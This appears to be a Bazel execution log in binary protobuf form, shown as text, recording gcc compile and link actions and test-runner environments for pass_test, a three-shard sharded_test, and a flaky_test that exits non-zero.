+@2ad75d95660563887d8d3f1d0ae1dcf18c2379cbd83a5c72f5ab276351ee6949 +2"* ˆƒ +:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.oE +@e1a5f327ee544bac718e414feb417ee9e04d39e9b1276e54e7e8ab02d29323b5Ð ‡‚ +:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.dD +@2e8ca7b27e3234d03d277791f221f2662b3b7247afe26e933a69a3e4dd36e473f€:ý + /usr/bin/gcc +-U_FORTIFY_SOURCE +-fstack-protector +-Wall +-Wunused-but-set-parameter +-Wno-free-nonheap-object +-fno-omit-frame-pointer +-MD +-MF +:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.d +H-frandom-seed=bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.o +-fPIC +-iquote +. +-iquote +bazel-out/k8-fastbuild/bin +-iquote +external/rules_cc+ +-iquote +-bazel-out/k8-fastbuild/bin/external/rules_cc+ +-iquote +external/bazel_tools +-iquote +/bazel-out/k8-fastbuild/bin/external/bazel_tools +-c + main_pass.c +-o +:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.o +-fno-canonical-system-headers +-Wno-builtin-macro-redefined +-D__DATE__="redacted" +-D__TIMESTAMP__="redacted" +-D__TIME__="redacted"$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd 2(2(: //:pass_testB +CppCompileZprocesswrapper-sandboxhpx’# +À”ÞBÀ”Þ¢ ïú—Ö€øũ¨€€ÎYU + main_shard.cE +@7cfaebd87ccc933f629e4c77aad22d17d9372fb0845f98c99613e71df0028098ù +2"*Œ‡ +>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.oE +@0d35f7d26f0b4af9e7b916c3905b7283fa2021551639d8a9ec079027d9a2c380° Œ‡ +>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.dE +@f66abbbe9d483307c493d0cf1ab6809bf6aa64da7e155a7ba6e83ac66e976286®�:� + /usr/bin/gcc +-U_FORTIFY_SOURCE +-fstack-protector +-Wall +-Wunused-but-set-parameter +-Wno-free-nonheap-object +-fno-omit-frame-pointer +-MD +-MF +>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.d +L-frandom-seed=bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.o +-fPIC +-iquote +. +-iquote +bazel-out/k8-fastbuild/bin +-iquote +external/rules_cc+ +-iquote +-bazel-out/k8-fastbuild/bin/external/rules_cc+ +-iquote +external/bazel_tools +-iquote +/bazel-out/k8-fastbuild/bin/external/bazel_tools +-c + main_shard.c +-o +>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.o +-fno-canonical-system-headers +-Wno-builtin-macro-redefined +-D__DATE__="redacted" +-D__TIMESTAMP__="redacted" +-D__TIME__="redacted"$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd 2(2(://:sharded_testB +CppCompileZprocesswrapper-sandboxhpx’# +À¦ÒBÀ¦Ò¢ ïú—Ö€øũ¨€ � ‡‚ +:external/rules_cc+/cc/private/toolchain/build_interface_soD +@ca1c6c1ec88d12130f9d59bf6b1a9d0a81cf407c586c515717c2de63dc63a80bu�ˆ +?external/rules_cc+/cc/private/toolchain/link_dynamic_library.shE +@410914e519a1d309961ba77f4549a8c92da307ce1f596c10f8284da904b17a77� 2"* +2"* {w +.bazel-out/k8-fastbuild/bin/flaky_test-0.paramsE +@c577fe96cce31d4eea72ffbb6d7aa46945f0c984f907f3be440b2d575396cc06  +2"*rn +%bazel-out/k8-fastbuild/bin/flaky_testE +@674a99e83e5c4ed8beafe2af4d7b0ac254838e7f05e1c5c9cc9010cfe8a2dd78¨0ô:ñ + /usr/bin/gcc +/@bazel-out/k8-fastbuild/bin/flaky_test-0.params$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd + ZERO_AR_DATE1 2(: //:flaky_testBCppLinkZprocesswrapper-sandboxhpx’# +€óßB€óߢ ïú—ÖÀËú¿¨€ÀÅ +2"*zv +-bazel-out/k8-fastbuild/bin/pass_test-0.paramsE +@1c4343b244ba16563979291c4538e0c3eaad825d8f3c544062a69a6a939af671ž +2"*qm +$bazel-out/k8-fastbuild/bin/pass_testE +@d26a879186fed4dc742a5c000a7ab235b0a1009c0d291006150806c5c8015409¨0ò:ï + /usr/bin/gcc +.@bazel-out/k8-fastbuild/bin/pass_test-0.params$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd + ZERO_AR_DATE1 2(: //:pass_testBCppLinkZprocesswrapper-sandboxhpx’# +À÷œBÀ÷œ¢ ïú—ÖÀËú¿¨€ Ä + 2"*}!y +0bazel-out/k8-fastbuild/bin/sharded_test-0.paramsE +@bb9b5928db17b3f1215dc9e0405f5118783b5a7995020e6bc5fbd4df81f51d2e¥ +"2" *!t#p +'bazel-out/k8-fastbuild/bin/sharded_testE +@0a8dce773490fe6720cadc64b758164f2f15a9b1a38c0ac818ada7a0bbb84e67�4ø:õ + /usr/bin/gcc +1@bazel-out/k8-fastbuild/bin/sharded_test-0.params$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd + ZERO_AR_DATE1 "2(#://:sharded_testBCppLinkZprocesswrapper-sandboxhpx’# +€…ÔB€…Ô¢ ïú—ÖÀËú¿¨€€¡$2*}%Ry +-bazel-out/k8-fastbuild/bin/pass_test.runfiles$2FD +@c2110b558232b10af9e33d06c2547de9fa61baec34cbb315a11ea9015095026az&v +-external/bazel_tools/tools/test/test-setup.shE +@49ba08927c3c556c52c6f771eaca362a0dbd1b6e19fd2667c61d92c33a32278aåt|'x +/external/bazel_tools/tools/test/generate-xml.shE +@368e50ceca617b237c60adf70105cf6e1d33427f232c78239a3e7c10a4d93ebfí' (2*%&')2*#€*R| +0bazel-out/k8-fastbuild/bin/sharded_test.runfiles)2FD +@c2110b558232b10af9e33d06c2547de9fa61baec34cbb315a11ea9015095026a +2**&'�,Š +Dbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.shardB +@e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855<-"8 +6bazel-out/k8-fastbuild/testlogs/pass_test/test.outputsL."H +Fbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs/2*~0Rz +.bazel-out/k8-fastbuild/bin/flaky_test.runfiles/2FD +@c2110b558232b10af9e33d06c2547de9fa61baec34cbb315a11ea9015095026a 12*0&' 22**&'‚:ÿ +-external/bazel_tools/tools/test/test-setup.sh + ./pass_test> + JAVA_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/bin@ +PYTHON_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles= + RUNFILES_DIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY ./pass_testi + TEST_INFRASTRUCTURE_FAILURE_FILEEbazel-out/k8-fastbuild/testlogs/pass_test/test.infrastructure_failurek +TEST_LOGSPLITTER_OUTPUT_FILEKbazel-out/k8-fastbuild/testlogs/pass_test/test.raw_splitlogs/test.splitlogs] +TEST_PREMATURE_EXIT_FILEAbazel-out/k8-fastbuild/testlogs/pass_test/test.exited_prematurely + TEST_SIZEmedium< + TEST_SRCDIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles + TEST_TARGET //:pass_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/bbb994006a201e70ea51a76491bba66br +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONSKbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/ANNOTATIONSj +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIR?bazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifestU +TEST_UNDECLARED_OUTPUTS_DIR6bazel-out/k8-fastbuild/testlogs/pass_test/test.outputsl + TEST_UNDECLARED_OUTPUTS_MANIFESTHbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/MANIFESTc +TEST_UNUSED_RUNFILES_LOG_FILEBbazel-out/k8-fastbuild/testlogs/pass_test/test.unused_runfiles_logT +TEST_WARNINGS_OUTPUT_FILE7bazel-out/k8-fastbuild/testlogs/pass_test/test.warnings +TEST_WORKSPACE_main +TZUTCE +XML_OUTPUT_FILE2bazel-out/k8-fastbuild/testlogs/pass_test/test.xml (24"2bazel-out/k8-fastbuild/testlogs/pass_test/test.xml2C"Abazel-out/k8-fastbuild/testlogs/pass_test/test.exited_prematurely29"7bazel-out/k8-fastbuild/testlogs/pass_test/test.warnings2M"Kbazel-out/k8-fastbuild/testlogs/pass_test/test.raw_splitlogs/test.splitlogs2D"Bbazel-out/k8-fastbuild/testlogs/pass_test/test.unused_runfiles_log2G"Ebazel-out/k8-fastbuild/testlogs/pass_test/test.infrastructure_failure2(-2J"Hbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/MANIFEST2M"Kbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/ANNOTATIONS2P"Nbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/ANNOTATIONS.pb: //:pass_testB +TestRunnerZprocesswrapper-sandboxhpxˆà§’# +ÀÁÀBÀÁÀ¢ ïú—ÖÀ˜Ÿã¨€àÄÞ:Û +-external/bazel_tools/tools/test/test-setup.sh +./sharded_testA + JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binC +PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@ + RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY./sharded_testy + TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.infrastructure_failure{ +TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.raw_splitlogs/test.splitlogsm +TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.exited_prematurely +TEST_SHARD_INDEX1^ +TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.shard + TEST_SIZEmedium? + TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles + TEST_TARGET//:sharded_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/1615829df1fa3563387e50506a1f6692 +TEST_TOTAL_SHARDS3‚ +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/ANNOTATIONSz +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifeste +TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs| + TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/MANIFESTs +TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.unused_runfiles_logd +TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.warnings +TEST_WORKSPACE_main +TZUTCU +XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xml +2D"Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xml2S"Qbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.exited_prematurely2(,2I"Gbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.warnings2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.raw_splitlogs/test.splitlogs2T"Rbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.unused_runfiles_log2W"Ubazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.infrastructure_failure2(.2Z"Xbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/MANIFEST2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/ANNOTATIONS2`"^bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/ANNOTATIONS.pb://:sharded_testB +TestRunnerZprocesswrapper-sandboxhpxˆà§’# +ÀʺBÀʺ¢ ïú—ÖÀ˜Ÿã¨€àÂ=3"9 +7bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs�4Š +Dbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.shardB +@e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855®:« +-external/bazel_tools/tools/test/test-setup.sh + ./flaky_test? + JAVA_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binA +PYTHON_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles> + RUNFILES_DIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY ./flaky_testj + TEST_INFRASTRUCTURE_FAILURE_FILEFbazel-out/k8-fastbuild/testlogs/flaky_test/test.infrastructure_failurel +TEST_LOGSPLITTER_OUTPUT_FILELbazel-out/k8-fastbuild/testlogs/flaky_test/test.raw_splitlogs/test.splitlogs^ +TEST_PREMATURE_EXIT_FILEBbazel-out/k8-fastbuild/testlogs/flaky_test/test.exited_prematurely + TEST_SIZEmedium= + TEST_SRCDIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles + TEST_TARGET //:flaky_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/d778484882c0bff6932e3335e6656a87s +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONSLbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/ANNOTATIONSk +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIR@bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifestV +TEST_UNDECLARED_OUTPUTS_DIR7bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputsm + TEST_UNDECLARED_OUTPUTS_MANIFESTIbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/MANIFESTd +TEST_UNUSED_RUNFILES_LOG_FILECbazel-out/k8-fastbuild/testlogs/flaky_test/test.unused_runfiles_logU +TEST_WARNINGS_OUTPUT_FILE8bazel-out/k8-fastbuild/testlogs/flaky_test/test.warnings +TEST_WORKSPACE_main +TZUTCF +XML_OUTPUT_FILE3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml 125"3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml2D"Bbazel-out/k8-fastbuild/testlogs/flaky_test/test.exited_prematurely2:"8bazel-out/k8-fastbuild/testlogs/flaky_test/test.warnings2N"Lbazel-out/k8-fastbuild/testlogs/flaky_test/test.raw_splitlogs/test.splitlogs2E"Cbazel-out/k8-fastbuild/testlogs/flaky_test/test.unused_runfiles_log2H"Fbazel-out/k8-fastbuild/testlogs/flaky_test/test.infrastructure_failure2(32K"Ibazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/MANIFEST2N"Lbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/ANNOTATIONS2Q"Obazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/ANNOTATIONS.pb: //:flaky_testB +TestRunnerHR NON_ZERO_EXITZprocesswrapper-sandboxhpxˆà§’# +€Ï÷B€Ï÷¢ ïú—Ö€�Ü㨀àÄL5"H +Fbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputsÞ:Û +-external/bazel_tools/tools/test/test-setup.sh +./sharded_testA + JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binC +PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@ + RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY./sharded_testy + TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.infrastructure_failure{ +TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.raw_splitlogs/test.splitlogsm +TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.exited_prematurely +TEST_SHARD_INDEX2^ +TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.shard + TEST_SIZEmedium? + TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles + TEST_TARGET//:sharded_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/c0c31cf43ef7d650f7ec6ed08aec4b02 +TEST_TOTAL_SHARDS3‚ +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/ANNOTATIONSz +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifeste +TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs| + TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/MANIFESTs +TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.unused_runfiles_logd +TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.warnings +TEST_WORKSPACE_main +TZUTCU +XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xml 22D"Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xml2S"Qbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.exited_prematurely2(42I"Gbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.warnings2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.raw_splitlogs/test.splitlogs2T"Rbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.unused_runfiles_log2W"Ubazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.infrastructure_failure2(52Z"Xbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/MANIFEST2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/ANNOTATIONS2`"^bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/ANNOTATIONS.pb://:sharded_testB +TestRunnerZprocesswrapper-sandboxhpxˆà§’# +ÀܮBÀܮ¢ ïú—Ö€�Ü㨀ÀÄ 62**&'�7Š +Dbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.shardB +@e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855L8"H +Fbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputsÞ:Û +-external/bazel_tools/tools/test/test-setup.sh +./sharded_testA + JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binC +PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@ + RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY./sharded_testy + TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.infrastructure_failure{ +TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.raw_splitlogs/test.splitlogsm +TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.exited_prematurely +TEST_SHARD_INDEX0^ +TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.shard + TEST_SIZEmedium? + TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles + TEST_TARGET//:sharded_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/baf5a5c95a10bc1fd7a56eb5c8e0a05a +TEST_TOTAL_SHARDS3‚ +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/ANNOTATIONSz +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifeste +TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs| + TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/MANIFESTs +TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.unused_runfiles_logd +TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.warnings +TEST_WORKSPACE_main +TZUTCU +XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xml 62D"Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xml2S"Qbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.exited_prematurely2(72I"Gbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.warnings2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.raw_splitlogs/test.splitlogs2T"Rbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.unused_runfiles_log2W"Ubazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.infrastructure_failure2(82Z"Xbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/MANIFEST2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/ANNOTATIONS2`"^bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/ANNOTATIONS.pb://:sharded_testB +TestRunnerZprocesswrapper-sandboxhpxˆà§’# +€üÙB€üÙ¢ ïú—Ö€�Ü㨀À€9| +3bazel-out/k8-fastbuild/testlogs/flaky_test/test.logE +@f4f43b4414847462e830ccf2c6ed78b7f752d507751e9ac2f4edf797aee55ea0�:2*'9€;| +3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xmlE +@c97b22d07a3c89431b8b3ecd40ca2e1ff7b17692616d90a4bf67f0606eae9cef²½:º +/external/bazel_tools/tools/test/generate-xml.sh +3bazel-out/k8-fastbuild/testlogs/flaky_test/test.log +3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml +0 +1? + JAVA_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binA +PYTHON_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles> + RUNFILES_DIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY ./flaky_testj + TEST_INFRASTRUCTURE_FAILURE_FILEFbazel-out/k8-fastbuild/testlogs/flaky_test/test.infrastructure_failurel +TEST_LOGSPLITTER_OUTPUT_FILELbazel-out/k8-fastbuild/testlogs/flaky_test/test.raw_splitlogs/test.splitlogs + TEST_NAME //:flaky_test^ +TEST_PREMATURE_EXIT_FILEBbazel-out/k8-fastbuild/testlogs/flaky_test/test.exited_prematurely +TEST_SHARD_INDEX0 + TEST_SIZEmedium= + TEST_SRCDIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles + TEST_TARGET //:flaky_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/d778484882c0bff6932e3335e6656a87 +TEST_TOTAL_SHARDS0s +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONSLbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/ANNOTATIONSk +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIR@bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifestV +TEST_UNDECLARED_OUTPUTS_DIR7bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputsm + TEST_UNDECLARED_OUTPUTS_MANIFESTIbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/MANIFESTd +TEST_UNUSED_RUNFILES_LOG_FILECbazel-out/k8-fastbuild/testlogs/flaky_test/test.unused_runfiles_logU +TEST_WARNINGS_OUTPUT_FILE8bazel-out/k8-fastbuild/testlogs/flaky_test/test.warnings +TEST_WORKSPACE_main +TZUTCF +XML_OUTPUT_FILE3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml :2(;: //:flaky_testB +TestRunnerZprocesswrapper-sandboxhpx’# +€ì¸ B€ì¸ ¢ ïú—ÖÀ¦íÿ¨€àÃ�<‹ +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.logE +@a4c005ec9ab13f0352b62aa089b2ac3fdf04422c5aa1b296137fdf4aa082aeffŸ=2*'<�>‹ +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xmlE +@cfe77d8780f07a6b93e2e76bb0806c9b5ec880e414605d03c0a9b92c7d0c57abšñ:î +/external/bazel_tools/tools/test/generate-xml.sh +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.log +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xml +0 +0A + JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binC +PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@ + RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY./sharded_testy + TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.infrastructure_failure{ +TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.raw_splitlogs/test.splitlogs+ + TEST_NAME//:sharded_test (shard 3 of 3)m +TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.exited_prematurely +TEST_SHARD_INDEX2^ +TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.shard + TEST_SIZEmedium? + TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles + TEST_TARGET//:sharded_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/c0c31cf43ef7d650f7ec6ed08aec4b02 +TEST_TOTAL_SHARDS3‚ +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/ANNOTATIONSz +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifeste +TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs| + TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/MANIFESTs +TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.unused_runfiles_logd +TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.warnings +TEST_WORKSPACE_main +TZUTCU +XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xml =2(>://:sharded_testB +TestRunnerZprocesswrapper-sandboxhpx’# +À‚ê BÀ‚ê ¢ ïú—ÖÀ¦íÿ¨€€Ã�?‹ +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.logE +@a4c005ec9ab13f0352b62aa089b2ac3fdf04422c5aa1b296137fdf4aa082aeffŸ@2*'?�A‹ +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xmlE +@8faa6c3e54a5d33b706bdd2917bf93f8e6522082b78cf016f23cc398558a7980šñ:î +/external/bazel_tools/tools/test/generate-xml.sh +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.log +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xml +0 +0A + 